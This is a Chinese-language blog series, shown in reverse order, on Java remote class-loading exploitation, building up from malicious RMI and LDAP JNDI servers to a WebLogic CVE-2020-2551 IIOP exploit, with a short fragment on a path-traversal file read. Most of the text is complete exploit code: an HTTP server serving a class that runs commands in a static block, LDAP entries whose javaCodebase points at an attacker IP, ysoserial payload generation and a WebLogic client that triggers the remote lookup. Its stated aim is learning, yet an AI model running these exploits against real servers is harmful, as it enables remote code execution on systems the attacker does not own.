通过application 和 profile 获取到仓库地址后 ,简单的拼上经过转换过的label的地址,后面加个/
拼接后
之后会再尝试进行多次拼接,把所有可能的组合形式都尝试一遍。比如在文件后加-development.conf判断存不存在
不过已经无关紧要了 我们构造的poc的文件是存在的

文件存在,跳出循环。

resource变量中存的文件路径
先获取文件内容
但是下面判断了文件有没有后缀名,如果文件没有后缀名
即使读到文件,也会因为获取不到文件名中的 “.” 的位置而返回空

所以这个漏洞只能读取带文件后缀的文件。

补丁的话新增了一个isInvalidEncodedLocation()方法:

判断了路径中有没有”..”

bookmark_borderJAVA远程加载利用学习五:weblogic实践(CVE-2020-2551)

接下来就是用之前的理解去日weblogic,说到底就是让weblogic 执行 InitialContext.lookup()方法,参数是我们提供的恶意ldap服务,然后远程加载恶意代码。

这里 还要继续用《JAVA序列化利用学习四:ldap lookup + javaCodebase 从http加载payload》的部分类。

准备

weblogic用的是12.1.3,Windows平台。192.168.1.217。
攻击还是从kali发起的。192.168.1.99。
HttpServer类不变,启动。
ExportObject里执行的命令换成:

            //exec("gnome-calculator");
            exec("calc");

启动LDAPRefServer。
把LDAPServer2中的javaCodebase的http地址换成kali的IP(192.168.1.99)

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://192.168.1.99:8000/");

启动LDAPServer2,向LDAP服务插入数据。
准备好这些,就可以日weblogic了。

攻击

去weblogic里拿:
com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
com.bea.core.repackaged.springframework.pitchfork_1.4.0.0_1-0.jar
com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
wlclient.jar
这四个包,导入到项目。
先复习一下T3协议的攻击:

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;


import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class WeblogicLdapLookup {
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "t3://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);

        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

我不知道EJBHome做什么,我要假装知道EJBHome长什么样:

package javax.ejb;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface EJBHome extends Remote {
    void remove(Handle var1) throws RemoteException, RemoveException;

    void remove(Object var1) throws RemoteException, RemoveException;

    EJBMetaData getEJBMetaData() throws RemoteException;

    HomeHandle getHomeHandle() throws RemoteException;
}

关于 JtaTransactionManager 的利用链,https://paper.seebug.org/1091/#jndildap 有详细的说明。
该利用方式适合没打补丁的weblogic:

由于后续的补丁在T3协议readObject的时候加了黑名单,所以JtaTransactionManager 的利用链在打上补丁的weblogic就失效了。

CVE-2020-2551

在2020年年初的时候爆出来 使用iiop协议可以绕过限制(CVE-2020-2551),造成远程代码执行 https://qiita.com/shimizukawasaki/items/7e01401a706900435591
然后我在这遇到一个巨坑!卡了我好久。
我一开始用的wlthint3client.jar包,结果利用IIOP协议的时候一直报
weblogic.jndi.WLInitialContextFactory Unknown protocol IIOP
找了好久才发现用的是t3的client包(wlthint3client.jar)!奶奶的。
去weblogic里拿个wlclient.jar换进来就好了。

对前面的payload稍加修改

package com.hans.weblogicLdapExploit;

import java.util.Hashtable;

import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import javax.ejb.EJBHome;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class WeblogicLdapLookup {
	/**/
    public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
    public final static String url = "iiop://192.168.1.217:7001";
    
    public static void main(String[] args) throws NamingException, ClassNotFoundException {
    	try {
            Hashtable<String, String> env = new Hashtable<String, String>();
            env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
            env.put(Context.PROVIDER_URL, url);
        Context initialContext = new InitialContext(env);
        
        String jndiAddress = "ldap://192.168.1.99:1389/uid=hans,ou=employees,dc=example,dc=com";
        
        JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
        jtaTransactionManager.setUserTransactionName(jndiAddress);
        
        EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB");
        ejbHome.remove(jtaTransactionManager);     
        
    	}catch(Exception e) {
    		System.out.println(e);
    	}
    }
        
}

可远程执行ExportObject的代码。
查看weblogic的错误日志,确实发生在IIOP协议:

由于我没有weblogic的补丁,只是凭现有的信息和知识,猜测,这应该就是CVE-2020-2551的POC。
完全代码放到我的 gitlab

bookmark_borderJAVA远程加载利用学习四:ldap lookup + javaCodebase 从http加载payload

这篇的核心是javaCodebase从外部加载恶意类,但是 是用 javax.naming.Context的lookup方法加ldap协议触发。
但是仅限Oracle JDK 11.0.1、8u191、7u201、6u211之前的JDK,否则需要手动打开属性:

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

这里 是引用的 https://paper.seebug.org/1091/#jndildap 的说法,但是jdk 7 最高只到了80,因此 7u201、6u211 这两个可能不对,仅供参考。我在jdk8u172和jdk8u20都测试通过了。

下面上测试代码。

恶意的HTTP Server

用于感染的服务通过javaCodebase从这里加载恶意的外部类。
http server:

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

恶意的类:

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
                // run command on kali
                exec("gnome-calculator");
                // run command on windows
                //exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

启动com.hans.httpServer.HttpServer 即可通过 curl “http://localhost:8000/com/hans/remoteClass/ExportObject.class” 请求到恶意类。

LDAP服务

先开一个正常的LDAP服务:

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

再向ldap服务插入数据:

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.rmi.RemoteException;
import java.util.Hashtable;

/*
 * It works for LdapLookupPayload.java
 * */

public class LDAPServer2 {
    public static void main(String[] args) throws NamingException, RemoteException {
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

        Attribute mod1 = new BasicAttribute("objectClass", "top");
        mod1.add("javaNamingReference");

        Attribute mod2 = new BasicAttribute("javaCodebase",
                "http://127.0.0.1:8000/");
        Attribute mod3 = new BasicAttribute("javaClassName",
                "PayloadObject");
        Attribute mod4 = new BasicAttribute("javaFactory", "com.hans.remoteClass.ExportObject");


        ModificationItem[] mods = new ModificationItem[]{
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3),
                new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4)
        };
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

受感染的Client

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LdapLookupPayload {
    public static void main(String[] args) throws NamingException {
        // 最新的JDK需开启这个属性
        //System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        Context ctx = new InitialContext();
        Object object =  ctx.lookup("ldap://127.0.0.1:1389/uid=hans,ou=employees,dc=example,dc=com");
    }
}
  1. 启动 HttpServer
  2. 启动LDAPRefServer
  3. 启动LDAPServer2向LDAP Server注入数据
  4. 启动LdapLookupPayload 触发漏洞。

可以看到 InitialContext()初始化出来的Content对象,在受影响的jdk中,是存在漏洞的,若lookup的参数可受用户控制,可以造成远程代码执行。
请参考 https://paper.seebug.org/1091/#jndildap 该文章的内容。

bookmark_borderJAVA远程加载利用学习三:JNDI Reference+RMI攻击向量

这一篇的重点还是远程加载。
运行环境,JDK 8u113以前的版本。之后的版本默认不允许RMI、cosnaming从远程的Codebase加载Reference工厂类。
JNDI注入最开始起源于野外发现的Java Applets 点击播放绕过漏洞(CVE-2015-4902),它的攻击过程可以简单概括为以下几步:

  1. 恶意applet使用JNLP实例化JNDI InitialContext
  2. javax.naming.InitialContext的构造函数将请求应用程序的JNDI.properties JNDI配置文件来自恶意网站
  3. 恶意Web服务器将JNDI.properties发送到客户端 JNDI.properties内容为:java.naming.provider.url = rmi://attacker-server/Go
  4. 在InitialContext初始化期间查找rmi//attacker-server/Go,攻击者控制的注册表将返回JNDI引用 (javax.naming.Reference)
  5. 服务器从RMI注册表接收到JNDI引用后,它将从攻击者控制的服务器获取工厂类,然后实例化工厂以返回 JNDI所引用的对象的新实例
  6. 由于攻击者控制了工厂类,因此他可以轻松返回带有静态变量的类初始化程序,运行由攻击者定义的任何Java代码,实现远程代码执行

创建一个http server

com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

在http服务上放一个恶意的类

com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

    

	/**
	 * 
	 */
	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类并运行。

恶意的RMI Server

com.hans.JNDIReference.RMIServer

package com.hans.JNDIReference;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        // 创建Registry
        Registry registry = LocateRegistry.createRegistry(9999);
        System.out.println("java RMI registry created. port on 9999...");
        Reference refObj = new Reference("ExportObject", "com.hans.remoteClass.ExportObject", "http://127.0.0.1:8000/");
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
        registry.bind("refObj", refObjWrapper);
    }
}

受害的Client

com.hans.JNDIReference.RMIClient

package com.hans.JNDIReference;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class RMIClient {
    public static void main(String[] args) throws RemoteException, NotBoundException, NamingException {
//      Properties env = new Properties();
//      env.put(Context.INITIAL_CONTEXT_FACTORY,
//              "com.sun.jndi.rmi.registry.RegistryContextFactory");
//      env.put(Context.PROVIDER_URL,
//              "rmi://localhost:9999");
      Context ctx = new InitialContext();
      DirContext dirc = new InitialDirContext();
      ctx.lookup("rmi://localhost:9999/refObj");
  }
}

1.先启动HttpServer
2.在启动RMIServer
3.最后启动RMIClient

当请求RMI服务上的对象时,也就是InitialContext().lookup(),会同时请求恶意服务器上的Reference类,并加载恶意http服务上的com.hans.remoteClass.ExportObject.class恶意类,导致远程代码执行。InitialContext().lookup()是关键。后面weblogic漏洞的触发也是在这个函数方法上。

bookmark_borderJAVA远程加载利用学习二:lookup LDAP 利用

这节引入了 LDAP服务。通过JNDI (Java Naming and Directory Interface) 来lookup LDAP服务,造成加载远程类。

恶意的LDAP服务

创建一个LDAP服务:
com.hans.ldapServer.LDAPRefServer

package com.hans.ldapServer;


import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.IOException;
import java.net.InetAddress;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main(String[] args) throws IOException {
        int port = 1389;

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.setSchema(null);
            config.setEnforceAttributeSyntaxCompliance(false);
            config.setEnforceSingleStructuralObjectClass(false);

            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            ds.add("dn: " + "dc=example,dc=com", "objectClass: top", "objectclass: domain");
            ds.add("dn: " + "ou=employees,dc=example,dc=com", "objectClass: organizationalUnit", "objectClass: top");
            ds.add("dn: " + "uid=hans,ou=employees,dc=example,dc=com", "objectClass: ExportObject");

            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

向LDAP服务注入恶意Object:
package com.hans.ldapServer.LDAPServer1

package com.hans.ldapServer;

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.BasicAttribute;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import javax.naming.directory.ModificationItem;
import java.io.File;
import java.io.IOException;
import java.nio.file.Files;
import java.util.Hashtable;

public class LDAPServer1 {
    public static void main(String[] args) throws NamingException, IOException {
    	System.out.println("Working Directory = " +
                System.getProperty("user.dir"));
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
                "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:1389");

        DirContext ctx = new InitialDirContext(env);

		// 暂时没用上
        String javaCodebase = "http://127.0.0.1:8000/";


        byte[] javaSerializedData = Files.readAllBytes(new File("resources/Jdk7u21_calc.ser").toPath());

        BasicAttribute mod1 = new
                BasicAttribute("javaCodebase", javaCodebase);
        BasicAttribute mod2 = new
                BasicAttribute("javaClassName", "DeserPayload");
        BasicAttribute mod3 = new BasicAttribute("javaSerializedData",
                javaSerializedData);
        ModificationItem[] mods = new ModificationItem[3];
        mods[0] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1);
        mods[1] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2);
        mods[2] = new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3);
        ctx.modifyAttributes("uid=hans,ou=employees,dc=example,dc=com", mods);
    }
}

ysoserial生成一个payload,放到resources目录下:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

受感染的 Service

com.hans.weblogicLdapExploit.Payload

package com.hans.weblogicLdapExploit;

import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;

import java.util.Hashtable;

public class Payload  {

    public final static String JNDI_FACTORY = "com.sun.jndi.ldap.LdapCtxFactory";
    public final static String url = "ldap://localhost:1389";
    public static void main(String[] args) throws Exception {
    	/*
		    原子名是一个简单、基本、不可分割的组成部分
		    绑定是名称与对象的关联,每个绑定都有一个不同的原子名
		    复合名包含零个或多个原子名,即由多个绑定组成
		    上下文是包含零个或多个绑定的对象,每个绑定都有一个不同的原子名
		    命名系统是一组关联的上下文
		    名称空间是命名系统中包含的所有名称
		    探索名称空间的起点称为初始上下文
		    要获取初始上下文,需要使用初始上下文工厂
    	 * */
        Hashtable<String, String> env = new Hashtable<String, String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);

        DirContext ctx = new InitialDirContext(env);
	    
        Object local_obj = ctx.lookup("uid=hans,ou=employees,dc=example,dc=com");
    }
}

为了触发漏洞,这个受感染的Service必须要用JDK7U21及其以下版本的JDK。
除了LDAP,这些对象还可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),公共对象请求代理体系结构(CORBA)或域名服务(DNS)。
360最近正好有研究CORBA :

https://cert.360.cn/report/detail?id=d3f6666d6558f02a6204dd51cb749558

bookmark_borderJAVA远程加载利用学习一:恶意的RMI Server

2020年 年初的时候,Weblogic爆出了一个漏洞CVE-2020-2551,说是 IIOP协议存在反序列化漏洞,可RCE(https://qiita.com/shimizukawasaki/items/7e01401a706900435591 )。
由于当时水平有限,对JAVA 序列化的理解,仅停留在ysoserial生成payload,readObject()一下就能触发RCE。
网上也没有POC,只能深入学习一下。
有幸拜读了前辈们的总结心得:

  1. https://paper.seebug.org/1012
  2. https://paper.seebug.org/1091

受益良多。也算是对JAVA的序列化利用有了新的认识。
内容较多,且内容深度急剧下降,对新手很难掌握。
《JAVA序列化利用学习》这个系列算是抽丝剥茧,一步一步由浅入深,理解CVE-2020-2551是怎么回事。
建议先把前辈的两篇文章按顺序读两遍。理论知识基础全部来自这里两篇文章。

本系列的代码全部摘自前辈的github:

https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms

前辈的github里有很多去weblogic Lookup对象的例子这里就不拿出来了,比较简单,可以跑跑看。
注意的是需要去Weblogic中拿 wlclient.jar 导入到项目。

第一个项目

可以在eclipse中创建maven项目来测试这些代码。
环境:JDK6u29 KaliLinux Eclipse
先用ysoserial生成RCE的序列化流文件:

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser

Server端项目

1.先创建一个恶意类:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	static {
        //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
        try {
            exec("gnome-calculator");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
//        throw new Exception(sb);
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

2.启动一个Http server 提供远程调用恶意类:
com.hans.httpServer.HttpServer

package com.hans.httpServer;

import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
 * 你客户端缺什么类到我这个Http服务上来拿
 * https://paper.seebug.org/1091/
 * 1. First start http server
 * */
public class HttpServer implements HttpHandler {
    public void handle(HttpExchange httpExchange) {
        try {
            System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
            InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            while (inputStream.available() > 0) {
                byteArrayOutputStream.write(inputStream.read());
            }

            byte[] bytes = byteArrayOutputStream.toByteArray();
            httpExchange.sendResponseHeaders(200, bytes.length);
            httpExchange.getResponseBody().write(bytes);
            httpExchange.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void main(String args[]) throws IOException {
        com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);

        System.out.println("String HTTP Server on port: 8000");
        httpServer.createContext("/", new HttpServer());
        httpServer.setExecutor(null);
        httpServer.start();
    }
}

3.然后部署一个RMI Server
com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    private static final long serialVersionUID = 1L;
    private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.ServicesImpl

package com.hans.RMI;

import java.rmi.RemoteException;

import com.hans.remoteClass.ExportObject;

public class ServicesImpl implements Services {
    public ExportObject sendMessage(Message msg) throws RemoteException {
        return new ExportObject();
    }
}

com.hans.RMI.RMIServer

package com.hans.RMI;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

/*
 * 2. Second start RMI server
 * */

public class RMIServer {
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);

            //设置java.rmi.server.codebase
            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");

            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9999);
                System.out.println("java RMI registry created. port on 9999...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            //绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类测试服务是否启动成功。

Client端:

作为远程方法调用,我可以不知道ExportObject做了啥,但是我必须要知道ExportObject外表长啥样:
com.hans.remoteClass.ExportObject

package com.hans.remoteClass;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;

public class ExportObject implements ObjectFactory, Serializable {

	private static final long serialVersionUID = 1L;

	public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
	
}

com.hans.RMI.Message

package com.hans.RMI;

import java.io.Serializable;

public class Message implements Serializable {
    /**
	 * 
	 */
	private static final long serialVersionUID = 1L;
	private String msg;

    public Message() {
    }

    public String getMessage() {
        System.out.println("Processing message: " + msg);
        return msg;
    }

    public void setMessage(String msg) {
        this.msg = msg;
    }
}

com.hans.RMI.Services

package com.hans.RMI;

import java.rmi.RemoteException;

public interface Services extends java.rmi.Remote {
    Object sendMessage(Message msg) throws RemoteException;
}

com.hans.RMI.RMIClient

package com.hans.RMI;

import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient 
{
    public static void main( String[] args )  throws Exception
    {
        //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
        System.setProperty("java.security.policy", RMIClient.class.getClassLoader().getResource("java.policy").getFile());
        RMISecurityManager securityManager = new RMISecurityManager();
        System.setSecurityManager(securityManager);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
        Message message = new Message();
        message.setMessage("hahaha");

        services.sendMessage(message);
    }
}

